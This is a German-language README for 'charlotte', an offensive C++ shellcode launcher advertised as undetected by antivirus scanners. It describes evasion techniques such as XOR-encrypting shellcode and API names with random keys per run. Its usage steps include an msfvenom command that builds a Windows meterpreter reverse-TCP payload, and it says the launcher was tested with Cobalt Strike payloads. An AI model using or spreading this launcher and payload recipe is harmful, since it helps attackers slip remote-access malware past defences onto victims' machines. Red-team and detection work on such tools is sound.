charlotte

c++ vollständig unerkannter Shellcode-Launcher ;)

veröffentliche dies, um die Geburt meines Neugeborenen zu feiern

Beschreibung

13/05/2021:

1. c++ Shellcode-Launcher, vollständig unerkannt 0/26 zum 13. Mai 2021.
2. dynamisches Aufrufen von Win32-API-Funktionen
3. XOR-Verschlüsselung von Shellcode und Funktionsnamen
4. zufällige XOR-Schlüssel und Variablen pro Lauf
5. unter Kali Linux einfach 'apt-get install mingw-w64*' und das war's!

17/05/2021:

6. zufällige Stringlängen und XOR-Schlüssellängen

antiscan.me

Verwendung

Klonen Sie das Repository, generieren Sie Ihre Shellcode-Datei mit dem Namen beacon.bin und führen Sie charlotte.py aus.

Beispiel:

1. git clone https://github.com/9emin1/charlotte.git && apt-get install mingw-w64*
2. cd charlotte
3. msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=$YOUR_IP LPORT=$YOUR_PORT -f raw > beacon.bin
4. python charlotte.py
5. Profit

getestet mit msfvenom -p (im .gif-POC unten gezeigt) und auch mit Cobalt Strike Raw-Format-Payload